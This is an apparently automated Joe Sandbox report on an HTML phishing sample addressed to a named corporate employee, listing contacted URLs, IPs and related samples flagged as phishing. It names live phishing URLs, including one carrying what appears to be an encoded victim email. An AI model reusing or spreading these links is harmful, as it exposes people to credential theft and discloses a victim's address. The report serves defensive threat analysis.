https://cf-assets.www.cloudflare.com/slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg	false		unknown
https://analytics.twitter.com/1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=f94529a4-d083-4620-bd90-72fde3aa57d1&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=020813ef-aa2c-40e1-950c-6715778cf1b4&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js	false		unknown
https://r.logr-ingest.com/i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Cu&u=df8b95ce-b2a8-4691-b1e1-66fcda5aceb7&is=1	false		unknown
https://cdn.bizible.com/xdc.js?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_h=-1777624096&cdn_o=a&jsVer=4.24.10.10	false		unknown
https://www.cloudflare.com/static/z/i.js	false		unknown
https://cdn.bizible.com/ipv?_biz_r=https%3A%2F%2Fbookingadocel.com%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291812&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=0&rnd=105613&cdn_o=a&_biz_z=1729259291814	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=36ab3e3d-01fc-4175-8617-021d24a06417	false		unknown
https://www.cloudflare.com/page-data/under-attack-hotline/page-data.json	false		unknown
https://r.logr-ingest.com/i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373	false		unknown
https://bookingadocel.com/QZ6XM/#1Y2FybHkuam9zZXBoQGV2ZXJicmlkZ2UuY29t	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2TfcZ86qvZor2xtI2z4Vvr/ef54112582296119f4296869c34ba025/logo_23andme_color_32px-wrapper.svg	false		unknown
https://www.cloudflare.com/page-data/plans/page-data.json	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=352691990	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=99d1b9e6-7852-4562-80ab-dab46218e9a6	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=a63d2597-ca0d-4362-9374-89bddc3fe624	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=b500c990-18d7-45da-9d2c-dbbd71436f34	false		unknown
https://713-xsc-918.mktoresp.com/webevents/clickLink?_mchNc=1729259406332&_mchHr=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_mchCn=&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Fplans%2Fenterprise%2Fcontact%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A59028572615554561702300982760543860491&	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=193120652	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=d25cea7a-aeac-4159-96a2-69dc33153c7c	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1211005316	false		unknown
https://www.cloudflare.com/img/learning/security/threats/phishing-attack/diagram-phishing-attack.png	false		unknown
https://api.www.cloudflare.com/api/v1/marketo/form/4116	false		unknown
https://cdn.bizible.com/ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259312041&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=4&rnd=690331&cdn_o=a&_biz_z=1729259312041	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=3447e1a2-783c-4c99-b82d-e7fc7cd820a9	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=c45ac02e-b2b3-4ddd-84fc-e034b3bc1700	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=955743414	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg	false		unknown
https://api.www.cloudflare.com/api/v1/marketo/form/1639	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=21124e8f-d4c2-43d4-873e-8503c9ba65fd	false		unknown
https://bookingadocel.com/QZ6XM/	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1233261538	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1633272144	false		unknown
https://www.cloudflare.com/webpack-runtime-1e8f122af67c0024abb2.js	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=c01063d6-61a9-4b16-ad07-bc2c98ffad88	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1082294278	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=45f73bda-3d77-4a5f-adf6-1b3e7fb2667f	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=cd4b43d0-c2c9-435c-92dc-6e9808436b25	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/5YRPa33UFrfL2zoZd2AXTq/658995f16c7ee4818875c254c18573d3/logo_zendesk_gray_32px-wrapper.svg	false		unknown
https://edge.adobedc.net/ee/irl1/v1/collect?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=8e0c9c17-5d31-494d-8ea7-9154de983ce2	false		unknown
https://cdn.bizibly.com/u?_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291819&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&rnd=948098&cdn_o=a&_biz_z=1729259291819	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=94b4a761-f4a2-4dcf-98aa-af07307fbed6	false		unknown
https://713-xsc-918.mktoresp.com/webevents/clickLink?_mchNc=1729259308254&_mchHr=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_mchCn=&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Fplans%2Fenterprise%2Fcontact%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A59028572615554561702300982760543860491&	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=282852573	false		unknown
https://edge.adobedc.net/ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=662d108f-20e9-474e-91b7-4ec41b61d865	false		unknown
https://www.cloudflare.com/cdn-cgi/rum?	false		unknown
https://www.cloudflare.com/page-data/sq/d/3199558980.json	false		unknown
https://api.company-target.com/api/v3/ip.json?referrer=https%3A%2F%2Fbookingadocel.com%2F&page=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&page_title=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare	false		unknown
https://stats.g.doubleclick.net/g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1998817326	false		unknown
https://edge.adobedc.net/ee/irl1/v1/collect?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=7a4562f5-b395-4bea-9007-4415be5e93f5	false		unknown
https://713-xsc-918.mktoresp.com/webevents/clickLink?_mchNc=1729259321848&_mchHr=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_mchId=713-XSC-918&_mchTk=_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b&_mchCn=&_mchHo=www.cloudflare.com&_mchPo=&_mchRu=%2Funder-attack-hotline%2F&_mchPc=https%3A&_mchVr=164&_mchEcid=8AD56F28618A50850A495FB6%40AdobeOrg%3A6%3A59028572615554561702300982760543860491&	false		unknown
https://www.cloudflare.com/page-data/learning/access-management/what-is-sase/page-data.json	false		unknown
https://edge.adobedc.net/ee/irl1/v1/collect?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=0ba918be-5503-4599-a1bb-394e37035a08	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_268.2.dr, chromecache_192.2.dr	false	URL Reputation: safe	unknown
https://www.cloudflare.com/network-services/solutions/network-monitoring-tools/	chromecache_166.2.dr, chromecache_258.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0	chromecache_218.2.dr, chromecache_252.2.dr	false		unknown
https://px.ads.linkedin.com/collect/?pid=28851&fmt=gif	chromecache_228.2.dr, chromecache_278.2.dr	false		unknown
https://www.cloudflare.com/network-services/solutions/enterprise-network-security/	chromecache_166.2.dr, chromecache_258.2.dr	false		unknown
https://www.cloudflare.com/application-services/products/argo-smart-routing/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.cloudflare.com/saas/)	chromecache_303.2.dr, chromecache_210.2.dr	false		unknown
https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement_Module_Acti	chromecache_291.2.dr, chromecache_195.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/4sfL2iS6H10uq2waT6ehym/ad18b77fa469ce07f23d22e19ab	chromecache_171.2.dr, chromecache_174.2.dr	false		unknown
https://www.cloudflare.com/application-services/solutions/certificate-lifecycle-management/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.cloudflare.com/learning/security/glossary/what-is-zero-trust/	chromecache_166.2.dr, chromecache_258.2.dr	false		unknown
https://www.cloudflare.com/ddos/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.cloudflare.com/learning/access-management/how-to-implement-zero-trust/	chromecache_166.2.dr, chromecache_258.2.dr	false		unknown
https://glovoapp.com/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.pedidosya.com/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.deliveryhero.com/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/7dreyVsx0FLF3WjCQvWrVT/a9bb912272cd7f8bc9a294f768b	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://blog.cloudflare.com/cloudflare-waap-named-leader-gartner-magic-quadrant-2022/	chromecache_166.2.dr, chromecache_258.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264	chromecache_281.2.dr	false		unknown
https://www.cloudflare.com/static/z/s.js?z=	chromecache_285.2.dr	false		unknown
https://www.yemeksepeti.com/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.cloudflare.com/5xx-error-landing	chromecache_315.2.dr	false		unknown
https://www.cloudflare.com/learning/bots/what-is-bot-management/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://www.cloudflare.com/connectivity-cloud/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://developers.marketo.com/MunchkinLicense.pdf	chromecache_176.2.dr, chromecache_262.2.dr, chromecache_263.2.dr, chromecache_327.2.dr	false	URL Reputation: safe	unknown
https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/3jxszSMXRhwiwHDa1VPXFw/cc6439cd93a107bd0986bb6d5dc	chromecache_252.2.dr	false		unknown
https://github.com/js-cookie/js-cookie	chromecache_182.2.dr, chromecache_338.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2yRCuqitoxUATzrEEpNPeA/49494485e77713ddfaf56b7b338	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://staging.mrk.cfdata.org/mrk/redwood-blade-repository/	chromecache_181.2.dr, chromecache_202.2.dr	false		unknown
http://www.cloudflare.com/lp/esg-zero-trust-considerations-2024	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/3Vjcj5r39nYQK9FAZ6tx1i/15048294cd989a6e460a61e56ad	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d604	chromecache_218.2.dr, chromecache_252.2.dr	false		unknown
https://js.qualified.com	chromecache_177.2.dr, chromecache_279.2.dr	false		unknown
https://www.cloudflare.com/learning/security/what-is-an-attack-surface/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown
https://cf-assets.www.cloudflare.com/slt3lc6tev37/2MwUTWYt0psg5xd55Vkvfo/7822687bbbf2b0738c770e183b7	chromecache_232.2.dr	false		unknown
https://www.foodpanda.com/)	chromecache_313.2.dr, chromecache_232.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.28.144.124	713-xsc-918.mktoresp.com	United States	15224	OMNITUREUS	false
18.66.102.127	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.185.102	unknown	United States	15169	GOOGLEUS	false
104.198.23.205	prod-default.lb.logrocket.network	United States	15169	GOOGLEUS	false
151.101.65.140	unknown	United States	54113	FASTLYUS	false
63.140.62.222	demdex.net.ssl.sc.omtrdc.net	United States	15224	OMNITUREUS	false
142.250.184.226	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.124.96	ot.www.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
162.159.140.229	t.co	United States	13335	CLOUDFLARENETUS	false
34.96.71.22	s.dsp-prod.demandbase.com	United States	15169	GOOGLEUS	false
172.217.18.4	unknown	United States	15169	GOOGLEUS	false
52.49.4.19	unknown	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.36.155	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
63.140.62.17	unknown	United States	15224	OMNITUREUS	false
172.217.18.2	unknown	United States	15169	GOOGLEUS	false
18.239.50.124	tag.demandbase.com	United States	16509	AMAZON-02US	false
104.18.16.5	ws6.qualified.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
103.17.8.67	www.linksideas.poc-asia.com	Taiwan; Republic of China (ROC)	131149	YUANJHEN-AS-TWYuan-JhenInfoCoLtdTW	false
188.114.97.3	bookingadocel.com	European Union	13335	CLOUDFLARENETUS	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
104.18.31.78	performance.radar.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.244.174.68	id.rlcdn.com	United States	15169	GOOGLEUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
18.66.102.75	api.company-target.com	United States	3	MIT-GATEWAYSUS	false
74.125.133.155	unknown	United States	15169	GOOGLEUS	false
152.195.15.58	fp2c5c.wac.kappacdn.net	United States	15133	EDGECASTUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
74.125.71.156	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
172.64.151.101	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.166	ad.doubleclick.net	United States	15169	GOOGLEUS	false
18.239.18.49	unknown	United States	16509	AMAZON-02US	false
63.140.62.27	adobedc.net.ssl.sc.omtrdc.net	United States	15224	OMNITUREUS	false
3.165.136.22	unknown	United States	16509	AMAZON-02US	false
74.125.206.157	unknown	United States	15169	GOOGLEUS	false
52.21.129.120	unknown	United States	14618	AMAZON-AESUS	false
150.171.28.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
54.73.195.97	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
142.250.186.132	unknown	United States	15169	GOOGLEUS	false
18.173.205.104	tag-logger.demandbase.com	United States	3	MIT-GATEWAYSUS	false
52.207.158.69	partners-alb-1113315349.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
104.16.79.73	static.cloudflareinsights.com	United States	13335	CLOUDFLARENETUS	false
216.58.212.130	adservice.google.com	United States	15169	GOOGLEUS	false
99.81.224.135	unknown	United States	16509	AMAZON-02US	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.244.42.67	s.twitter.com	United States	13414	TWITTERUS	false
216.58.206.66	td.doubleclick.net	United States	15169	GOOGLEUS	false
104.244.42.3	unknown	United States	13414	TWITTERUS	false
151.101.1.140	reddit.map.fastly.net	United States	54113	FASTLYUS	false
150.171.27.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.17.5	js.qualified.com	United States	13335	CLOUDFLARENETUS	false
188.114.96.3	cdn.logr-ingest.com	European Union	13335	CLOUDFLARENETUS	false
172.66.0.227	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.123.96	api.www.cloudflare.com	United States	13335	CLOUDFLARENETUS	true
146.75.88.157	platform.twitter.map.fastly.net	Sweden	30051	SCCGOVUS	false

Private

IP
192.168.2.8
192.168.2.4
192.168.2.10

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537151
Start date and time:	2024-10-18 15:46:40 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	carly.joseph@everbridge.com.html
Detection:	MAL
Classification:	mal68.phis.evad.winHTML@28/314@194/60
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.163, 142.250.185.238, 74.125.71.84, 34.104.35.123, 192.229.221.95, 142.250.184.234, 142.250.186.42, 142.250.185.106, 142.250.186.170, 142.250.186.106, 216.58.206.42, 216.58.212.170, 172.217.18.10, 172.217.16.202, 216.58.206.74, 142.250.185.138, 142.250.185.74, 142.250.185.202, 142.250.185.234, 172.217.23.106, 142.250.184.202, 184.28.89.29, 142.250.185.200, 142.250.185.170, 142.250.186.74, 142.250.181.234, 172.217.18.106, 142.250.186.138, 88.221.110.136, 88.221.110.227, 104.102.43.106, 13.107.42.14, 142.250.186.168, 52.17.97.65, 34.252.167.206, 54.77.122.229, 2.16.164.35, 2.16.164.10, 69.173.144.165, 69.173.144.139, 69.173.144.138, 131.107.255.255, 142.250.184.195, 142.250.186.110, 216.239.32.178, 216.239.38.178, 216.239.34.178, 216.239.36.178, 142.250.181.238, 172.217.16.138, 142.250.74.202
Excluded domains from analysis (whitelisted): pixel.rubiconproject.net.akadns.net, slscr.update.microsoft.com, cn-assets.adobedtm.com.edgekey.net, clientservices.googleapis.com, e10776.b.akamaiedge.net, wildcard.marketo.net.edgekey.net, dns.msftncsi.com, l-0005.l-msedge.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, bat.bing.com, update.googleapis.com, optimizationguide-pa.googleapis.com, www.google-analytics.com, www-linkedin-com.l-0005.l-msedge.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, cm.everesttech.net.akadns.net, www-alv.google-analytics.com, od.linkedin.edgesuite.net, fe3cr.delivery.mp.microsoft.com, www.linkedin.com.cdn.cloudflare.net, edgedl.me.gvt1.com, e7808.dscg.akamaiedge.net, clients.l.google.com, a1916.dscg2.akamai.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: carly.joseph@everbridge.com.html

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
192.28.144.124	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse
	https://40rt3am5.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://pub-ed7d897b46f94eef8e19264c3144fa78.r2.dev/home.html	Get hash	malicious	HTMLPhisher	Browse
	https://bdvonline-personas-139.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://gdocs.last2003.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://798-ads.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
151.101.65.140	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse
	http://gdocs.last2003.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46atMmRo3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbmy4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v7LR3jPEjzYXr2LwuykYQnzvV6boWlogU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_A	Get hash	malicious	Unknown	Browse
	https://f120987.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvinformation.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvinformation.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://secureprotocol1.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://all-seasons-custom-apparel.printavo.com/invoice/d737c3f58fce8a3f391367c903598233?preauth=eyJhbGciOiJSUzI1NiJ9.eyJleHAiOjE3Mjg5MzIwMTYsImlzcyI6NTgzNTkwNywidmVyIjoiY3VzdG9tZXItcHJlYXV0aC12MiIsInBheWFibGUiOiJnaWQ6Ly9wcmludGF2by9PcmRlci8xNjg1NjM0NiJ9.LtnCZuP7zuLtxrc0qbRVc6D_HBV5HHWCYKF01jdBqYuyRzcwCAYTob8CmMYRp7Sn00U104lhcfqDv7qsmGMnOH78EaGpveHtDYtxUOElE7wAp52mtirat1X6dyvgpRhT6-eDCGCiJGzxy-YKbE_aw8K9Fw7pCzHFK5Bt7nHyz1If3LLIeBwZbi0mQUn5emqAgeKnBMJ2XFzw5Q-DA83g9HgPpmp25RoTsyHIpHXM8qV9IeOjy_mBPVDrol9kKUE7ihWInuSSYMoe2wcHXsN_CYjRq-xL5WOOWElhHTzXUkVDNZjQiBTchiuo_h5Ozhh3KZ3eiTryy5PQBER3_8r08A	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
